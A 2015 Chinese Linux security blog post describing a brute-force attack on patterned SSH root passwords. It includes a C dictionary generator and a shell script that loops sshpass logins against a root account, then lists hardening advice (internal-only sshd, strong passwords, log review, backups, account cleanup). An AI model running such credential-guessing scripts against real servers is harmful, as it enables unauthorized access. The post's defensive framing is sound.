当前位置: > Linux安全 >

尝试破解简单有规律的root密码

时间:2015-03-23 01:04来源:linux.it.net.cn 作者:IT
[引言]    有的小公司为图方便记忆和使用,服务器使用固定组合规则的root密码(开发/运维人员偷懒),且sshd:22外网开放。例如:已知某密码组合规则为ab124578, 共8位, 前2位字母,后6位数字, 进一步分析得知前4位为hostname。 

[搭建环境测试]  安装sshpass( 用于非交互的ssh 密码验证)和生成简单的密码字典尝试暴力破解取得本地虚拟机密码。以下是简单的c和shell例子, 效率较低, 实际运用中会改写成多进程/多线程形式。

[makedic.c] 


view sourceprint?01 #include <stdio.h> 

02 #include <string.h> 

03 #include <stdlib.h> 

04   

05 int main(void) 

06 { 

07     int i,j,k,l,cnt=0; 

08     char tmp[5]=""; 

09     FILE *fd= fopen("xx.txt","a+"); 

10   

11     if ( fd == NULL ) 

12     { 

13         printf("fopen error!\n"); 

14         return -1; 

15     } 

16       

17     for ( i=0;i<=9;i++) 

18     { 

19         for ( j=0;j<=9;j++) 

20         { 

21             if ( j==i ) 

22                 continue; 

23             for ( k=0;k<=9;k++) 

24             { 

25                 if ( k==i || k==j ) 

26                     continue; 

27                 for ( l=0;l<=9;l++) 

28                 { 

29                     if ( l==i || l==j || l==k ) 

30                         continue; 

31                     sprintf( tmp, "%d%d%d%d",i,j,k,l); 

32                     printf("%d,%s\n",++cnt,tmp); 

33                     fwrite(tmp,strlen(tmp),1,fd);        

34                     fwrite("\r\n",1,2,fd);       

35                 } 

36             } 

37           

38         } 

39     } 

40     fclose(fd); 

41   

42     return 0; 

43 }

[getpwd.sh]


view sourceprint?01 #! /bin/sh 

02 ##预先安装sshpass,且pwd固定规则&已生成密码字典 

03   

04 n=0 

05 for pwd in `cat /home/xx.txt` 

06 do

07     echo "n=$n,pwd=$pwd"

08         sshpass -p $pwd ssh root@172.20.x.x 

09     if [ $? == 0 ] 

10         then

11             echo "$pwd is the pwd!!!"

12             break

13     fi

14     n=$[$n+1] 

15 done

[建议措施]

1. sshd只监听内网, 外网使用通过申请vpn访问。

(1) vi /etc/ssh/sshd_config ; ListenAddress 172.20.x.x;  service sshd restart;

(2) 也可通过iptables设置

2. 服务器账号专人专号,不准合用和借用,  按满足需求的最小权限开放。root只能系统组人员使用。(包括数据库的权限管理,类似)

3. root密码用专业工具生成,复杂无规律。如:re(c,ol*tx242s。 个人或局域网内的开发测试机(192.168.x.x)则可以不用这么复杂。

4. 定期检查系统log,  /etc/passwd和history, netstat等等。(我开发的,不是专业运维和信安,个人经验而已..)

5. 重要日志或操作记录最好也做下定时备份转移, 统一归档分析处理.

6. 重要程序和数据,配置等, 一定要本地, 异地, 多台备份. 有遇到过前同事在系统crontab中插入恶意程序和脚本. 可能是调用system("rm -rf /xxxx"),且指定日期后才生效. 修补数据真要命.

7. 人员异动离职,一定要做账号清查和相应的密码修改. 对事不对人.

8. 事出异常必有妖! 
(责任编辑:IT)
------分隔线----------------------------
栏目列表
推荐内容